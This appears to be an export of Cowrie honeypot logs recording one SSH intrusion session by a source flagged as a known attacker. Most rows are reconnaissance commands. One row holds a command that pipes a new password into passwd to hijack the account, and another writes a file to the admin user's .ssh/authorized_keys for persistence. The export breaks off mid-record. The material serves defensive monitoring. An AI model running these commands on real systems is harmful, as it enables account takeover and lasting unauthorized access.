32425	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:23.38323+03	2021-09-20 15:00:03.466748+03	{"_id": "OgYLA3wBvYTbRNuE5kqU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.71.14.9", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5719985961914062, "duplicate": true, "timestamp": "2021-09-20T11:51:23.383230Z", "@timestamp": "2021-09-20T11:51:23.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32426	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:14.145711+03	2021-09-20 15:00:03.467748+03	{"_id": "FgYLA3wBvYTbRNuEw0pm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:14.145711Z", "@timestamp": "2021-09-20T11:51:14.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32427	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:15.088399+03	2021-09-20 15:00:03.469718+03	{"_id": "GQYLA3wBvYTbRNuEx0pO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:15.088399Z", "@timestamp": "2021-09-20T11:51:15.088Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32428	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:16.051068+03	2021-09-20 15:00:03.470721+03	{"_id": "HgYLA3wBvYTbRNuEy0o4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:16.051068Z", "@timestamp": "2021-09-20T11:51:16.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32429	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:16.051623+03	2021-09-20 15:00:03.471749+03	{"_id": "GwYLA3wBvYTbRNuEy0o4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:16.051623Z", "@timestamp": "2021-09-20T11:51:16.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32430	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:17.62069+03	2021-09-20 15:00:03.473747+03	{"_id": "IwYLA3wBvYTbRNuEz0oh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.71.14.9", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5693814754486084, "duplicate": true, "timestamp": "2021-09-20T11:51:17.620690Z", "@timestamp": "2021-09-20T11:51:17.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32431	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:17.051949+03	2021-09-20 15:00:03.474748+03	{"_id": "IQYLA3wBvYTbRNuEz0oh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:17.051949Z", "@timestamp": "2021-09-20T11:51:17.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32432	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:18.567048+03	2021-09-20 15:00:03.475748+03	{"_id": "JAYLA3wBvYTbRNuE00oK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.71.14.9", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.574026346206665, "duplicate": true, "timestamp": "2021-09-20T11:51:18.567048Z", "@timestamp": "2021-09-20T11:51:18.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32433	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:17.993639+03	2021-09-20 15:00:03.476748+03	{"_id": "JgYLA3wBvYTbRNuE00oK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:17.993639Z", "@timestamp": "2021-09-20T11:51:17.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32434	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:14.71851+03	2021-09-20 15:00:03.477748+03	{"_id": "FwYLA3wBvYTbRNuEw0pm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.71.14.9", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.572880744934082, "duplicate": true, "timestamp": "2021-09-20T11:51:14.718510Z", "@timestamp": "2021-09-20T11:51:14.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32435	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:14.146261+03	2021-09-20 15:00:03.478747+03	{"_id": "FQYLA3wBvYTbRNuEw0pm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:14.146261Z", "@timestamp": "2021-09-20T11:51:14.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32436	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:15.08784+03	2021-09-20 15:00:03.479743+03	{"_id": "GAYLA3wBvYTbRNuEx0pO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:15.087840Z", "@timestamp": "2021-09-20T11:51:15.087Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32437	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:16.621767+03	2021-09-20 15:00:03.480746+03	{"_id": "HQYLA3wBvYTbRNuEy0o4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.71.14.9", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5707824230194092, "duplicate": true, "timestamp": "2021-09-20T11:51:16.621767Z", "@timestamp": "2021-09-20T11:51:16.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32438	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:26.760257+03	2021-09-20 15:00:03.482748+03	{"_id": "RwYLA3wBvYTbRNuE8kpP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:26.760257Z", "@timestamp": "2021-09-20T11:51:26.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32439	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:26.760754+03	2021-09-20 15:00:03.483747+03	{"_id": "SAYLA3wBvYTbRNuE8kpP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:26.760754Z", "@timestamp": "2021-09-20T11:51:26.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32440	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:27.329216+03	2021-09-20 15:00:03.484747+03	{"_id": "SQYLA3wBvYTbRNuE9ko4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.71.14.9", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5695867538452148, "duplicate": true, "timestamp": "2021-09-20T11:51:27.329216Z", "@timestamp": "2021-09-20T11:51:27.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32441	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:27.733003+03	2021-09-20 15:00:03.48675+03	{"_id": "SwYLA3wBvYTbRNuE9ko4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:27.733003Z", "@timestamp": "2021-09-20T11:51:27.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32442	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:28.300626+03	2021-09-20 15:00:03.487748+03	{"_id": "TQYLA3wBvYTbRNuE-koh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.71.14.9", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5682415962219238, "duplicate": true, "timestamp": "2021-09-20T11:51:28.300626Z", "@timestamp": "2021-09-20T11:51:28.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32443	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:28.727381+03	2021-09-20 15:00:03.488718+03	{"_id": "TAYLA3wBvYTbRNuE-koh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:28.727381Z", "@timestamp": "2021-09-20T11:51:28.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32444	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:10.76368+03	2021-09-20 15:00:03.489751+03	{"_id": "AwYLA3wBvYTbRNuEs0rD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "81.71.14.9", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "168e4f4c79b6", "@version": "1", "destfile": "/home/admin/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:51:10.763680Z", "@timestamp": "2021-09-20T11:51:10.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
32445	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:11.179417+03	2021-09-20 15:00:03.490719+03	{"_id": "CAYLA3wBvYTbRNuEt0qs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:11.179417Z", "@timestamp": "2021-09-20T11:51:11.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32446	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:12.184503+03	2021-09-20 15:00:03.491719+03	{"_id": "DAYLA3wBvYTbRNuEu0qV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"Admin@1234\\\\nYmqYERG7omUy\\\\nYmqYERG7omUy\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"Admin@1234\\\\nYmqYERG7omUy\\\\nYmqYERG7omUy\\"|passwd|bash", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:12.184503Z", "@timestamp": "2021-09-20T11:51:12.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32447	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:12.185329+03	2021-09-20 15:00:03.49375+03	{"_id": "DQYLA3wBvYTbRNuEu0qV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:12.185329Z", "@timestamp": "2021-09-20T11:51:12.185Z", "t-pot_ip_ext": "109.199.241.180", 